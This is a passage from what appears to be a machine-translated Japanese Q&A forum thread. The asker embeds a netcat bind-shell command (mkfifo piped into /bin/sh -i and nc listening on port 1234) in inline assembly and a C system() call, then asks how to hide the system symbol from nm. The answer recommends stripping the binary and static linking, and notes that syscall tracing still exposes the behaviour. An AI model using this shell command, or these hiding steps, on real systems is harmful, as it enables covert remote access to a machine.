呼び出しC関数NMコマンドでそれらを示すことなく、

Question

I次のasmコードがあります。

int main(void) 
{ 
    __asm__(" subq $16, %rsp\n" 
      "leaq L_.str(%rip), %rdi\n" 
      "movb $0, %al\n" 
      "callq _system\n" 
      "xorl %ecx, %ecx\n" 
      "movl %eax, -4(%rbp)\n" 
      "movl %ecx, %eax\n" 
      "addq $16, %rsp\n" 
      "popq %rbp\n" 
      ".section __TEXT,__cstring,cstring_literals\n" 
      "L_.str:\n" 
      ".asciz \"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lk 1234 > /tmp/f\"\n" 
      "retq\n"); 
} 

をそして、それはに等しいです：私はC言語を使用してそれをやって、そしてときだ

system("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lk 1234 > /tmp/f"); 

私は両方をコンパイルし、実行可能ファイルに対してNMを実行すると、_system関数をシンボルで見ることができます。

私の質問は：あなたはどのようにNMコマンドでこのシンボルを隠すことができますか？

Answer 1

1つのオプションは、リンク後のバイナリです。stripです。これにより、シンボルテーブルとすべてのシンボルが削除されます。これは、連結段階で-sを渡すか、結果のバイナリにstripを呼び出すことによって実現できます。

libcが共有ライブラリとしてロードされる可能性が高いので、_systemという文字列がlibc anyqayで検索するためにバイナリに表示されます。これを取り除くには、libcと静的にリンクする必要があります（gccはその目的で-staticを受け入れます）。しかし、それでも、システムコール（例えば、trussのようなユーティリティを使って）をトレースすることで、プログラムが何をしているのかを推測するのは簡単です。